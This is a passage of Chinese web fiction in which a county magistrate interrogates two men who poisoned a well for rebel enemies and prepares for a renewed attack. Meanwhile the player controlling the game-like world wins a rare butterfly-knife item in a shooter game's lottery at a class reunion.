身旁那官员立即反应过来,先是翻阅户籍,随即冷哼一声,而后出口斥责眼前跪地二人。 “你二人好大的狗胆!竟敢联合外敌,吃里扒外,给城内百姓水井下毒!你二人可知这等通敌罪证若是追究起来,你有几百个脑袋都不够砍的!” 说完这话后,这官员继续审问眼前二人。 “还不快将你二人如何通敌的过程老实交代清楚!” 话已经说到了这里,这二人中的王虎,也就是先前被吓到尿裤子的男人率先忍不住,哆嗦着开口:“大人饶命啊,小人愿意交代清楚,还望大人饶命!” 话音刚落,另一叫庞隆的人忍不住对他瞪眼,示意他闭嘴。 这等小动作自然瞒不过在场人,在庞隆被抽了几鞭子后,王虎颤抖着将他所知晓的事情抖落了出来。 若严格来说的话,二人关系并非朋友,更像是雇佣关系。 此人和这庞隆早就相识,素日就靠给庞隆干点上不得台面的脏活,拿点钱勉强度日。 而先前他和往常一样被庞隆喊过去,要他将一个包裹投入水井内。 庞隆起初也不敢,毕竟那包裹味道实在是奇怪,再加上投入水井这个操作实在是像下毒,他作为一个小虾米,哪敢接这么毒的活计。 但怪就怪在庞隆给的钱实在是太多了,多到足够他哪怕事发后逃窜出城,去别的县城也能活得很好的程度。 再加上当时庞隆说的话实在是具有迷惑性。 “怕什么,你只需要将这包裹投入井水,等三天后,你便将这包裹再捞出来处置掉便是,左右不过三天时间,城内水井多得是,你觉得官府会这么快就能锁定你扔的那口水井?想想看吧,先前官府的办事效率低下,现如今就算新县令上任,面对这些废物下属们,也是有心无力啊。” 这番话让王虎陷入纠结中 确实如同庞隆所说,眼下的新县令虽说做事风火,但手下的官兵却不曾改变过,且他只需要三日,将那包裹再捞出来便是。 听起来挺动心的,但想到这风仙县坐阵的可是神仙,王虎跃跃欲试的心顿时又跟着低落下去。 不行,这风险太高了! 眼看王虎一副想拒绝的模样,庞隆提出给他加钱。 等加到一个足够重的砝码时,王虎再也忍不住,动心了。 干了! 左右不过是一条烂命,若是成功了,他可以拿着这钱立马离开风仙县,到时候岂不是他想去哪就去哪,何必非要呆在这风仙县内! 想想美好的生活即将展开画卷,王虎点头接下此事。 之后的事便如同他们所看到的一般,王虎按照计划将那包裹扔在水井内,而后静待三天后取走包裹。 本来是这么打算的,但谁能知晓这新县令的动作这么快! 在他来不及反应过来的时间里,官兵早就挨个将水井查个清楚,他那来不及拿走的包裹顿时便被发现。 事发后的好几日,王虎均崩溃不已。 任务没做成不说,还快把自己搭进去了,这换谁谁不想哭? 再等等,后来竟出现了特效药。 眼瞅着事情发展超过自己预期,王虎连滚带爬地冲出去找庞隆谈论对策。 事实上,庞隆也被眼前事情惊呆了。 一是恼火于这王虎实在是废物,二是对官兵的反应速度吃惊 奇了个怪,这新县令到底是怎么做到的,竟能将那样的一滩烂泥训练成如今仿若精尖部队的模样? 莫非真和传言中一般,这县令身上有着神仙给予的权柄? 越想,庞隆也不自觉开始心头震颤 他突然有种感觉,自己接下那人的任务实在是个错误的选择。 但既然已经选择了这条道路,只能说一股脑走到黑了。 现在投毒不成,任务算作失败,不如换个方向努力。 ——将那药剂给那人传递出去,或许对方能研究出什么价值,反正到时候他也能瞎说这药剂是仙药,至于能不能研究出来东西,那可就不关他事了。 既商讨出结果,王虎骑虎难下,只能忍着恐惧过去领取药物。 可惜,这次好运不曾眷顾他,被官兵逮了个正着。 王虎说得鼻涕眼泪乱流,模样看着狼狈极了,这会忍不住冲着方知意所在的方向,膝行过去磕头求饶。 却被方知意身旁官兵一脚踹了回去。 而此刻,方知意面向一旁一直未曾说话的庞隆,淡淡开口。 “怎么,庞隆,你无话可说?” 庞隆缩着脖子,看上去很害怕,但实际上只有方知意知道,此人绝非面上看着这般贪生怕死。 “大人,这确实是小人过错,还请大人杀了我吧。” 说完,竟是磕头谢罪。 这一举动,倒是让周围几人忍不住瞪大眼睛。 为何这庞隆会这般?是觉得自己横竖都是死,索性不挣扎了? 王虎气得要扑过去打他,被官兵死死压住将脑袋按在地上,这会他只能用仇恨的眼神盯着庞隆,绝望地挣扎。 “你个老骗子!你死还要拉着我去死!狗养的玩意!” 因为过于聒噪,王虎被官兵赏了两拳,这会总算安静下来。 方知意漫不经心地接过户籍册,在翻到庞隆户籍时,微微停顿。 “通敌罪,全家都要跟着陪葬,你现在不打算开口,是已经做好了让所有人跟着去死的准备?” 她的声音没什么变化,反而像是含着某种好奇。 庞隆不曾开口,心中虽说有对死亡的恐惧,但先前他早就将家中重要之人遣送出去,尤其是他付以重任的大儿子。 若不是想靠这次投毒替大儿子换个投名状,他何必要做到这番地步。 正是气氛焦灼之际,堂内突然飞出来一只灰色的信鸽,而后这信鸽缓缓站定在她的肩头,用那红润的鸟喙轻轻啄着她肩膀。 将那信鸽脚上所写之信拿下,而后在看清楚信件上所写后,庞隆听到了那人轻笑一声,而后吐出他最为恐慌的话来。 第112章 传递 “庞修是贵公子吧?早就听说此人颇具才情,不过他到底是不细致,没能按照你的嘱咐顺利逃脱风仙县。” 似乎是在欣赏他的恐惧一般,方知意缓缓继续往上加筹码。 “原先我就好奇为何你要如此主动赴死,眼下算是明白了,现如今你留在风仙县内的不过都是替死鬼而已,其中真正被掩护着离开的是庞修,以及你的原配陆氏等人,不过你竟狠心至此,连自己的父母都能抛弃在这风仙县内。” 其实方知意早就知晓庞隆此人家中纠葛,但她依旧要这般开口挑衅对方,目的就是让他情绪失控,暴露出弱点。 果然,庞隆忍不住面庞扭曲,原先还任命地跪趴在地上,这会猛地直起身子,眼神翻滚着莫名的情绪。 恐惧,首先是滔天的恐惧铺天盖地地席卷而来。 其次一股隐藏极其深刻的怒火在其中翻滚,而后像是炮仗一般炸裂开来 怎么会,他费尽心思将大儿子一众人送出去,没想到竟然出了城门没多久,便被逮捕回来。 这一切难道这新县令早就有所预设?所以才能对他的举动做出防范? 除却这一点外,庞隆突然就想到他要替儿子谋取前程时庞修叹息的模样。 “父亲为何如此固执,在我看来,与其去城外寻找那方势力,不如跟着新起之秀才是正确的选择。” 在他看来,庞修是出了名的聪慧,但这一次,他却不顾儿子的反对,硬生生做了足以懊恼一辈子的事。 眼下事态暴露,不仅没能如愿,反倒是连累颇多,这算是对他游走在灰暗地带多年的惩罚吗? 庞隆的脑袋开始发轻,失控感像是潮水一般迎面而来,与此同时,那位堪称恐怖的新县令却一而再试图引燃他的怒火。 “县令大人和我等不同,官运亨达,十六岁便能遇到这么好的机会扶摇直上,我等不过一普通贱民,若想活得更好一些,只能凭借自己去挣,去抢,去和这世道作斗争,为了改变自身命运,我又何错之有? 家中只有一个名额可以让我儿前往那黎州做事,父母偏心,将这机会给了远不如我儿的侄子,我儿小小年纪聪慧无比,若不是家中无法托举他,他又何故白白浪费时间,只能在家中跟着我做些不入流之事? 正是我苦闷之际,一个机会便这样来了。 若县令大人处在和我同等的条件下,又该如何自处?毕竟县令大人不曾经历过这些失意,这才能对我说出何不食肉糜这番话来。” 按道理,他不应该,也不能继续为自己辩解,若还想给自家大儿子以及夫人求个活路的话,他现在就应该乖乖认罪,而后配合这位县令,将城外敌人捉住勉强算作将功抵过,但失控的情绪如此剧烈,在他意识到说出什么话后,比那位大人的愤怒更先来到的是身旁官兵的拳脚。 狠狠挨了两拳让他的脑袋抑制不住地发昏。 血水弥漫着浸润整个眼眶,仰躺在地上时,他看到了那位新县令无甚情绪地垂头看他。 眼神蕴含着淡淡的冰冷,仔细分辨一番的话,像是淬了毒的冰雪。 有毒,但是却只存在于瞬间便消失不见。 “为自己谋前程,于理本无过。然而你所图的机会,竟以草芥人命为阶,私欲炽盛而不顾苍生,终酿此城焚之祸。 若真为过往不平,对亲长有怨,自当挥刃向那祸源,直指元凶。 却为何怯懦至此,将满腔愤懑,尽泄于无辜黎庶? 此等行径,实乃丧心病狂,国法难容。” 等听清楚这些话后,庞隆像是控制不住身体一般极度颤抖起来。 这位县令大人轻易便将他的懦弱之处指了出来,什么对现状不满,什么对世道不满,终不过是他对父母的偏心不满。 但世道孝字当头,他不敢面对世俗的压力,最终选择了一个看似可以共赢的危险机会。 恨意让他头脑发热,以至于在遇到这个机会时,他便毛手毛脚地答应下来。 可能也是抱着一种攀比心态,——等着瞧,我儿才是最优秀的那个,等到时候他身居高位时,你们可别想着过来求取好处。 恨意和求之不得的亲情缠绕在一起,乃至东窗事发时,庞隆甚至想将双亲死死地拖向地狱。 ——一起去死,所有的恨爱都会消散殆尽,他的不甘和恼怒也会伴随着公平到来的死亡一并消散。 但眼下可悲的是,这个机会并非像他想求的那般顺利,他用来遮羞的布帘,很轻易便被眼前县令揭开,而后被最真实的真相反复刺穿。 什么恐惧儿子泯然于众人,不过是他为自己苦苦寻找到的遮羞之布。 庞隆忍不住紧闭双眼,试图咬舌自尽时,却被官兵死死捏开下颌,将嘴死死塞紧。 而方知意则是静静地看着他,仿若在看一等死物。 而后,她合拢户籍,缓缓对着庞隆身后开口。 “庞修,你既已了解你父亲真正所想,若想为你和母亲求个活命的机会,你应当知晓该怎么做。” 庞隆还在挣扎的身躯忍不住僵硬,他想回头,但没能成功,直至看到月白色的衣袍飘过站定在身侧时,他这才强忍恐惧,缓缓抬头去看。 ——若知晓真相的庞修会恨自己吧? 他其实是不敢去看的,怕看到儿子失望恼怒的眼神,但想到这或许是他此生最后一次看到儿子,到底渴望还是压制住了恐惧。 抬头去看,只能看到庞修低垂着头站定在原地。 二人视线相交时,庞修不过草草地略过他震惊的双眸,而后跪着磕头谢罪。 “贱民庞修愿听从大人吩咐,愿将功抵罪,庞修身死无憾,只求给我母亲,妹妹一个活路。” 方知意扫视着眼前跪在低位的庞修。 “若你能顺利将功抵过的话,本官或许还能考虑一二。 不过眼下你父亲显然不配合我等,既然要诱敌,那便需要你父亲帮助才是,若没了他,你觉得你将功抵罪的几率有多大? 到时候你又能以何种身份地位和本官讲条件?” 在意识到眼前这位县令大人说了什么后,庞隆早就浑身冰冷。 ——对方是故意的,故意让庞修过来求他,他若想安心去死,便不可能不同意儿子的请求。 果然,庞修转了个方向,对着他的方向磕头叹息道:“父亲,看在母亲,妹妹的份上,求您配合我吧,您也知晓通敌罪女眷应当如何处置吧?” 若按照大炎朝的律法,通敌罪直系亲属诛杀,旁系男丁流放,女眷贬为军妓。 庞修忍不住颤抖,他死了便死了,若母亲妹妹流落于那种境界,还不如跟着他们一起死了轻松。 庞隆感觉到一股强烈的悔意充斥着全身,过热的头脑一片冰冷,而后他颤抖着嘴唇,点头同意了庞修的请求。 眼下,总算是成功了第一步。 将塞着的布子拿走,庞隆讲述着那个危险的机会。 据他所说,那人自称他家主子位于黎州高位,若替他做成了事,定能满足他一个愿望,无论金银亦或是官职。 庞隆犹豫片刻,最终没能抵抗住诱惑。 很快,那人便将一包裹递给他,要他将此物投掷井水内。 先前此人并未说明下次见面的时机,只说若城内动乱他们自会出击。 不过庞隆自然不信,最后对方妥协,若城内动乱后,他可带人前往一处指定地点,在那里,他们会替他安排好前去黎州的一切。 听起来很危险,但庞隆微微思索后还是同意了。 将那处地址曝出来后,方知意看着这位于开元县的地址,忍不住陷入沉思。 ——这个地址的话,敌人据现有的了解,十有八九是先前仙师屏退的义师军。 原先这义师军被屏退后,迟迟没有动静,方知意以为对方是蛰伏起来了,眼下看来对方是找着点机会便想给本县找些不痛快。 但奇怪的是,先前她派出去的官兵却说那义师军不曾出现过,至少,在开元县内不曾出现 脑内思绪纷杂,但没关系,只要抽丝剥茧,真相便会乖乖出现在她眼前。 将任务派发给庞家二人后,与此同时,她派官兵伪造出城内动乱的模样。 在风仙县外围。 监视了风仙县许久的曹副将,突然看到紧闭的城门口打开了。 正惊诧之际,便看到不断地有人推着盖着白布的推车往外走。 稍微派人打探一番后,这才知晓是城内爆发了瘟疫。 若换做任何一个城池,曹副将都不会觉得奇怪,毕竟附近尸体颇多,那风仙县就算是防护得再到位又能独善其身? 但亲眼见识到那仙人的强悍,曹副将却生出了一抹疑虑。 但很快,这疑虑便被城内源源不断运送出来的尸体打破 所以说,这风仙县真死了这么多人? 若按照瘟疫的传播速度,等到能控制起来的话,本县也是处于极为虚弱的阶段。 还在深思的曹副将看着眼前的风仙县,一时间陷入犹豫。 要不要将这消息传递上去? 若传递上去,侯天王要他率兵攻打风仙县,他敢么? 扪心自问,曹副将早就被那晚吓破了胆,这会自然不愿意再次陷入这危险之地。 对于这个外人看上去绝佳的机会,他还是选择放弃。 但很可惜,先前率兵支援的正是侯天王旗下另一心腹杜宇。 此人虽说没有曹副将受信任,但眼看风仙县落入此等局面,自然忍耐不住,将这消息飞速传递回去。 在曹副将不知情的时候,侯天王已经收到了那封飞书。 第113章 景旭宫 那飞书上所写,风仙县正遇瘟疫,等瘟疫过后,城内力量定会空虚无比,或许这个进攻的好机会。 不过看到此信件的传递人并非曹副将,而是杜宇,侯天王不免沉思。 又等了一天,没能等到曹副将的信件,至此,他便知晓他原先那位英勇善战的曹副将心中想法。 到底是恼火曹副将竟敢对这等大事隐瞒不报,侯天王眼神阴沉,而后决定派他刚请到的数位道士一起前往那风仙县协助击杀城内邪祟。 除了道士和他派出去的援兵外,侯天王冷哼一声,命以杜宇为总帅,至于曹副将,这被他要求暂押在军队,等风仙县完全拿下后,再将此人带回处置。 援军数量不多,但都是侯天王培养出来的精兵。 整支队伍的腿脚速度很快,不出三日,已到了那开元县内。 此时的开元县内了无人烟,原先还算繁华的红楼等物也因无人修缮,独自在风雨中飘零。 当看到援军的第一时间,曹副将便已经知晓是怎么回事。 ——有人替侯天王传递了消息过去,如果换位思考的话,这个人只能是杜宇。 这蠢货,真以为他上报这消息后会是什么好事么? 心中冷笑不已,面对捉拿他的官兵,曹副将也是一副乖乖等待着被捉拿的模样。 事实上,他确实没打算逃跑,毕竟在他看来,以个人兵力去挑战那等仙人,绝对是取死之道,他还不如保存精力,在这些人去送死后,再逃出此地,前去幽州那地方投奔别的统帅,何故要因为侯天王放弃自己的性命。 被新任命为总帅的杜宇忍不住满脸兴奋,命人捉住曹副将后,又觉得不够痛快,这会亲自过去嘲讽此人。 “曹将军哦不对,现在你可不是将军,你应该叫我杜将军,是不是,曹应?” 曹副将面上没什么表情,“是你发过去的飞书?可笑,你不会真以为这是一件好事?” 看着曹副将一副仿若看傻子的模样,杜宇忍不住黑了脸。 ——从以前开始,他便最厌恶此人遇事总是一副云淡风轻的模样,不管是在以前,还是在现在,这副没什么变化面庞最让他痛恨,但此人却多次获得天王的信任,简直让人不爽快极了。 现在他非要撕碎眼前之人这副淡定的面庞才是。 “曹应,该说你傻还是没见识,你觉得自从上次失败以后,天王会对这次行动无动于衷?不若实话告诉你,天王这次不仅仅带了精兵,更是带了数位道长,这些道长和那些江湖骗子可不同,这些人可是师从景旭宫,是天王专程从黎州境内请来的。” 景旭宫竟然是景旭宫。 曹副将原先还觉得杜宇此人愚蠢之极,但当他听到景旭宫后,脸色不由一变。 感受到对方淡定的面庞裂开细微的缝隙后,杜宇忍不住呼吸急促,脑内极速攀升出一簇簇兴奋。 “景旭宫那可是黎州最为出名的道宫,其内道士就算随便拉出来一个人,也要比别的地方的道士要强得多,更别提这次天王足足请了有十二位道长前来协助我等杀敌,现在,你有没有觉得很后悔?” ——后悔倒是谈不上,但若说景旭宫的话,说不定还真能有几分机会,毕竟他曾知晓过景旭宫其内的手段,也知道这些人确实有两把刷子,据说那景旭宫内,也有能以一敌十的存在,原先时,求雨祭祀都会去这景旭宫。 只是这景旭宫怎会轻易被侯天王请过去? 要知道要求景旭宫办事,地位,金钱,眼缘缺一不可。 到底是什么原因导致的自认为正统的景旭宫竟会向他看来和反贼无疑的义师军伸出援助之手? 其中肯定有某种他不知晓的,隐秘的关系存在。 曹副将不由心生畏惧。 看来黎州还是太乱了,若非必要,他到时候直接去幽州都要比去黎州好。 眼看曹副将垂头不肯说话,杜宇倒是难得心情痛快,命令将曹应带下去看管好后,他则是率先前去迎接那十二位道长。 ——他又不是傻子,先前曹应仿若落水狗一般仓惶逃回来后,他倒是对其中所发生之事好奇许久。 找机会打听到其内实情后,杜宇也不由微楞。 一方面疑惑是不是曹应因侯远明意外身死,为求活命装疯卖傻,另一方面倒也对这风仙县颇有忌讳。 但当他多查了几人后,发觉可能这些人口中所说确实为真,毕竟这几人分开询问,但得到的答案却都是一致。 想到那些人口中的描述,杜宇不免在脑内描绘出那副堪称恐怖的画卷。 直到他有确切消息说明侯天王能请来景旭宫出手帮忙,于是他这才放心大胆地将风仙县此刻虚弱的现状汇报上去。 ——呵呵,曹应,别怪我心狠啊,在这军营内要想活着,要想升官发财,不仅仅得心狠手辣,也得消息灵通啊。 曹应就是吃了消息不灵通的亏,看来他往日多走动,多拜访是有好处的,这不,这次机会他不就能捉住了? 福祸相依,要想升职哪能不承担些风险? 杜宇想得很好,大不了事情没成,他逃回去将此事添油加醋说一遍便是,毕竟有景旭宫出手都没能成功,他不过是个小虾米,又能做的了什么? 想明白其内种种后,杜宇这才放心大胆地接下此任务。 而眼下,看着大口吃肉喝酒的十二位道长,杜宇倒是有些被惊到了。 原先以他的身份很难亲眼看看这景旭宫内的神异,但当看到这些人竟然均是此等做派后,不免心里直嘀咕这都是个什么事。 虽说他平时也不做啥好事,但这群道士怎么感觉玩得比他还花? 有些沉默地看着最靠边的道士已经迫不及待地揽着舞女往帐篷方向走,而剩下的人要么喝酒,要么和歌女调笑,看上去不太像是他心目中的正统道士模样。 但想想这些人好歹是来帮他求胜的,杜宇不免将心底的那股不舒服压下去。 倒是这会有人开口了。 “杜宇是吧?放心,有我们十二兄弟出手,那什么狗屁县内的邪修肯定乖乖投降。” 此人说话颇为张扬,边说,边一口闷下去酒水。 杜宇和此人说了几句话后,这才了解这些人古怪的做派。 原来这十二人修的是不同的功法,有人需要饮酒才会激发修行的智,而有人则是靠男女之事激发修行,总之各人有各人的道路。 原先还微微有所不满的杜宇顿时明悟,原先觉得这十二人没一个顺眼的,但这会结合这话后,杜宇倒是觉得此十二人对明日之事还算上心。 “杜某便在此处麻烦道长了,还请道长出手,还当地百姓一个朗朗乾坤。 据说那风仙县内的邪修凶残无比,不知各位可想到了克制那人的方法?” 在杜宇看来,那风仙县内的定也是道士,不过可能是因为修了邪术,才会如此恐怖,但他有景旭宫的十二人助力,不见得就比不过那一个人。 那还在喝酒的道长捋了捋胡须,而后开口:“自然是早就想好了应对之法,杜将军不若早点休息,等到明日便能知晓我等手段。” 看对方没什么想解释的,杜宇也知趣,便不再询问。 等到将这十二人送回各自的帐篷内后,他命人再次核对明日作战所需马匹,草料,均核对完毕无误后,这才休息。 为了避免被风仙县内的探子察觉出异常,杜宇对于营地的驻扎选择得甚是隐蔽,且方圆三里都布置了负责防守的士兵。 若按照人类的视力水平来看的话,绝对不会出现泄露行动的可能性。 但很可惜,这一招对风仙县人手一个望远镜的探子们无用。 他们甚至很轻易地就在三里外轻松将营地内看了个透彻。 这些探子大都在方知意的刻意培养下学习过看唇语,配合望远镜,竟能将这些人说的话看得清楚。 等消息以最快的速度回报给方知意后,原先靠假死被派出去的一众官兵则在县令大人的指挥下悄悄在风仙县外围埋伏下来。 而城内的话,则也做好了充足的准备。 不过方知意本人在听到对方所说的那个名为“景旭宫”的名字后,也有瞬间的失神。 ——据说这景旭宫常侍奉于天子身侧,不知这些道士到底是什么底细? 虽说在方知意心中无人能比得过仙师,但既有敌人来犯,她必须要将此消息汇报给仙师,由仙师采取决定才可。 很快,方知意开始在心底呼唤仙师。 原本还淡定的姜定在看到紫卡人物传递过来的新消息后顿时一愣。 ——咋滴,又有敌人来犯了? 定睛一看,竟然还是上次的义师军,不过不同的是,对方这次找了新联盟 景旭宫?什么个组织? 虽有些懵逼,但凭借着多年玩游戏的经验,姜定一拍脑门,心里直乐。 这不就是游戏里很经典的剧情么,打跑了第一次来犯的对手,结果对方扭头去找了更厉害的过来再次挑衅,然后游戏策划就可以靠这样的方式偷懒,完成对于玩家战力系统的升级。 这会再看着眼下的选项,姜定兴奋了。 【义师军再次携景旭宫来犯,你要采取哪种应对措施?】 【A.以仙人之姿给对方一个彻底的教训,让他再起不能。(花费5000两)】 【B.稍作小惩,威胁对方。(花费500两)】 【C.(隐藏选项,属性值足够)以仙人之态击杀道士,而城内官兵则负责击杀其余小兵。(500两)】 第114章 满意值!!! 看到这三个选项后,姜定的眼神就没能从隐藏选项四个字中挪开。 好啊好啊,面对这种选项,只要是玩过游戏的人都会知道最先选择的定是这隐藏选项,毕竟要达到隐藏选项所需要的数值可是不低。 再看看其余两个选项,若未曾出现隐藏选项,以他来选的话,从个人意志来看的话,他会选择A选项,但实际上,A选项需要的银两数量实在是多,若不是他游戏经验多,说不定根本凑不齐这所需要的银两,B选项就不用说了,毕竟在姜定看来,这个选项就是实在没办法才会去被迫选择的最差选项。 想想看吧,谁也不想做一个怂货,但没钱啊能怎么办? 且更深一层看的话,这最差的选项肯定会伴随着各个坏结果,如果想让游戏体验更痛快,看来必须要在各个大事件来临前攒够足够的金钱才是。 话说这游戏怎么感觉有点氪金啊,所以说这就是策划的阴谋么? 不过找了半天,姜定并未找到有任何氪金页面,再换个角度想想看,这可能就是恶趣味的策划对游戏玩家的刁难了。 虽说多结局也蛮有意思的,但眼看这个游戏的容错率有些低啊 姜定情不自禁吐槽,但手依旧无比忠诚地点击了C选项。 【已确定你的选项,风仙县的名望,人气,人群满意度增加了。】 看到新的提示弹跳出来,姜定忍不住松了口气。 而在他不知晓的页面,民众的满意度已然达到了令人惊讶的40。 要知道上一次不过也才20而已,暴涨了20个满意值,必须需要经历个一个大事件才可以。 在选择完C选项后,姜定本想继续玩下去,但看了一眼右下角的时间,显示着已经到了晚上11点。 想到明天还要去参加同学聚会,姜定顿时紧张得肚子直疼。 ——突然就后悔了,前两天就不应该同意要参加这什么同学聚会,说到底,这种同学聚会去的人应该只有那种毕业签了好工作的人才会想着过去聚会吧? 但毕竟已经答应了班长,对方也已经给自己预留了一个位置,自己这个时候要是说没时间去肯定会被人蛐蛐吧? 再说了,他以前和班长的关系还算可以,如果这个时候再像是发癫一样说不去,会不会给人家带来麻烦? 越想,姜定越是没了玩乐的心思。 这会连玩得入迷的游戏都不想玩了。 点击保存,而后关闭游戏。 姜定草草地洗漱一番,然后躺在床上沉浸式思索哲学问题。 去,还是不去? 往好处想想,他去了就算是无业游民,但总不能说去了的都是有工作的吧? 再想想吧,大不了他去了可以装傻,自己缩在角落? 但是话又说回来,要是遇到原先高中和他不太对付的人怎么办?也不知道班长请了那几个人没? 这么一想,姜定顿时睡意消散了一些,刚点开班长的头像想问问,但话到嘴边又觉得自己事多。 纠结犹豫一小会后,最后姜定迷迷糊糊睡了过去。 等到一觉醒来时,一睁眼看到的就是10点。 什么鬼,聚会时间是11点,从他家到聚餐地点坐公交要花费近四十分钟!!!!姜定不假思索,一骨碌爬起来,匆匆洗漱后直奔公交车站。 等到站点等待公交来的功夫,姜定还在给自己做心理建设。 值得一提的是,这个公交站点等车的人竟然只有他一个人,正发呆之际,一张红色的钱币直勾勾地飘到了他的脸上。 突然被糊满视线的姜定忙伸手去捉脸上的东西。 等到看清楚手心握着的一张红色纸币后,千言万语都梗在了心头。 ——不是,什么鬼,这也能捡到一张一百? 正怀疑人生时,姜定却突然觉得肚子翻江倒海,原先还算淡定的脸庞立即变了色。 ——开什么玩笑,为什么肚子突然这么疼,好想上厕所不行,公交车快来了,上厕所了肯定要赶不上了 但俗话说得好,世界上只有爱意和拉肚子是憋不住的。 姜定虽说没体会过前者,但对于后者,他也算是深刻体会到了。 仅用了几秒,姜定就迅速更改了想法。 管他同学什么聚会不聚会的,他必须要先上厕所,不然一切免谈。 等环视四周,看清楚周围除了一家小小的彩票店铺还在营业外,姜定几乎是用冲刺的速度冲到了店内。 等解决完生理需求后,姜定这才有时间尴尬 算了,来都来了,买几张吧,不然单独借个厕所实在是太难评了。 再想想刚才自己还捡了一百,姜定决定奢侈一把,留六十块打车,另外的钱买两张二十的刮刮乐。 “老板,买两张刮刮乐,就最靠边这个绿色的。” 等到拿到彩票,姜定甚至来不及刮,先塞进衣兜内,转而先打了车。 也倒是恰好赶上了,等姜定来到饭店时,刚好是11点整。 等进了包厢后,看着坐得满满当当的饭桌,他脑内第一时间就想逃走。 不等他有所动作,身旁长得高壮的班长率先揽住他。 “哎哎哎,姜定,赶紧坐这来,专门给你留的位子。” 姜定尴尬得头皮直发麻,这会开始后悔自己为什么昨晚没找机会拒绝班长。 这会只能僵着脸坐了下来。 好在虽说他来得比较迟,但也不算是最后一个来的,只是起初吸引了片刻注意力后,这些人又将注意力投向别处。 而在众人调笑说话时,姜定松了口气,还没顾得上细看包厢内都是以往的哪些老同学时,肩膀上突然多了一只手。 “姜定?好久不见了,最近咋样?” 听到这熟悉的声音,姜定忍不住扭头去看,结果在看清楚来人面庞后,原先还在尴尬的思绪被缓解了不少。 是他高中相处的最好的朋友,杜越。 两人在高中时关系确实好,但等上了大学后,因为双方忙碌于各自学业,平时也不经常多联系,慢慢的,感情就淡了。 倒是没想到今天还能见到好朋友,姜定郁闷的心情都好了几分。 二人从大学谈论到现在,等知道杜越签了某国企合同后,姜定虽说羡慕,但是依旧先恭喜他一番。 在知道姜定暂且还没有工作后,杜越倒是有些尴尬,忙换了个话题。 很快,二人便谈论到了前一段时间很受欢迎的某枪战游戏。 这游戏的确做得精美,可玩度也高,姜定甚至现在偶尔也会上去玩几把。 不过大部分时候,他都会更沉迷于玩大炎种田这款游戏。 既然聊到了游戏,姜定本来想卖一波安利,但很可惜,杜越似乎对种田类游戏不感兴趣,对方不吃,他也不能强行按头,只能暗自叹息一声算了。 为了避免在剩余的时间内尴尬,姜定还是决定和他谈谈这款枪战游戏。 倒是杜越兴奋开口:“你知道不,上次我运气不错,抽到了一把暗夜银枪,这玩意我挂在交易市场才不到一分钟,立马有好几个人过来问价,最后你猜猜卖了多少?” 等等,他不会说的是那个价值一万的暗夜银枪? 姜定有些不敢置信开口询问:“你多少抽抽出来的?” 杜越蹙眉,而后似乎是在思索:“大概投资了好几百吧。” 哇靠,纯赚啊! 此刻姜定心态微崩。 不是,这合理吗,老天爷你睁眼看看这合理吗? 怎么别人的运气就能那么好?又是签国企,又是白来一万的。 他怎么就没这好运 不过话说最近几天,他的运气似乎好了点 等会,那是老妈的运气好,和他没关系! 摇摇头,将这些乱七八糟的想法摇晃出去,姜定一脸羡慕地盯着杜越游戏账号发呆。 两人这番交谈倒是吸引了周围别人的注意力。 还等姜定发酸之际,就听另外一道熟悉,令人讨厌的声音传递过来。 “哎呦喂,这不是姜定吗?现在在哪里高就啊?” 抬头一看,果然是他高中最讨厌的人之一,王豪。 原先还算是热闹的包厢,突然间寂静下来。 似乎不少人都在看向这边。 姜定无语地抽搐着嘴角,刚想开口怼人,先被杜越按住了。 杜越略带恼火地瞪了王豪一眼。 “你又是在哪上班呢?叫得这么欢快,能不能少打听别人的私事?” 王豪冷哼一声,“这么多年了,你两关系还真好啊,我不比你签约了大国企,但好歹也考上了编制。” 此话一说出来,倒也是得到了不少和姜定一样无业游民的羡慕。 “编制现在不好考吧?王哥给咱推荐几个线下班?” “面试经验分享一下啊王哥?” “网课能分享一下吗?” 王豪拿出手机,一脸谦虚,似乎是注意到姜定的神色,他装做大方地凑过来。 “姜定,你也没工作吧?我给你推荐个我报的这个班,老师教得可好了,一会我给你把网课发过去哈,你记得收。”??? 看着对方发过来的废物两个字后,姜定怒火顿时就被点燃了。 刚想张口就骂,结果手机不知道什么情况,误触直接跳转到先前枪战游戏的交易平台上去了。 在姜定惊恐的目光中,他亲眼看着抽奖页面的转盘开始转动。 好绝望好无助 再一看右上角,唯一剩的一发就这样没了! 不要啊,他还没洗手,还没在心里祷告,怎么能这么随意的抽奖啊! 等到那转盘缓缓转到一个极小极小的格子内时,游戏页面弹跳出来一则提醒。 第115章 蝴蝶刀 【恭喜您抽中蝴蝶刀。】???!!! 蝴蝶刀?嗯?嗯嗯嗯? 姜定还没反应过来,倒是杜越发出一声剧烈的尖叫。 “我去!蝴蝶刀!你这啥逆天运气!” 要知道蝴蝶刀是这游戏最具有收藏价值,且概率极低才会获得一个刀具,在游戏内,蝴蝶刀已经被炒到了40万的价格,不可谓不火爆。 当两人看到抽中蝴蝶刀的页面弹跳出来时,姜定突然觉得他没心情骂人了。 王越激动得仿若原始森林的猴子一样乱叫,这动静自然吸引了其余人过来围观。 “咋了,啥情况啊,这么激动?” “我刚才没听错吧?是不是听到了姜定抽中了蝴蝶刀?” “不会吧,那玩意我以为是官方炒作,难道还真有人能抽到?” “卧槽啊,什么逆天运气!这玩意卖了可以买一辆车了!” “我去好羡慕,这可是白白得来的四十万啊” 在充斥着众人羡慕嫉妒恨的目光中,姜定颤抖着点开背包库存,发现背包内正静静地躺着那柄蝴蝶刀。 这柄蝴蝶刀散发出淡淡的金色光芒,看得姜定心尖发烫。 他掐了一把自己的大腿,疼痛席卷全身,但比疼痛最先到来的是他那剧烈跳动的心脏 竟然被他捡到漏了?不敢置信这样的馅饼掉在了他的脑袋上 姜定晕乎乎地看着手机,仿若万物都在眼前飘着,心脏麻麻的,没有落脚点。 而与此同时,游戏内突然蹦跶出硕大的黄色提醒。 【全服通报!欧皇现世!玩家[爱定不定]在抽奖中一发入魂,成功拿下金色装备[蝴蝶刀]!!!】 这则游戏通报持续通报了五分钟,而在这五分钟内,世界频道正以飞速往上弹着对话。 【老留突击手:什么鬼,一发就抽中了蝴蝶刀???】 【熬夜大枪人:???不是,这合理吗?我抽了几百发了,最多也就抽中了一个几百块钱的装备。】 【才子吹又生:好心累,这可是蝴蝶刀,不敢想我要是抽中了这道具我该是一个多么开朗的大男孩。】 【78378927:不会是官方黑手吧?哪有人这么离谱,一发就抽中的?】 【求入欧:改名玄学没用啊,该非还是非,这大佬的手气我朝哪个方向才能蹭一点欧气?】 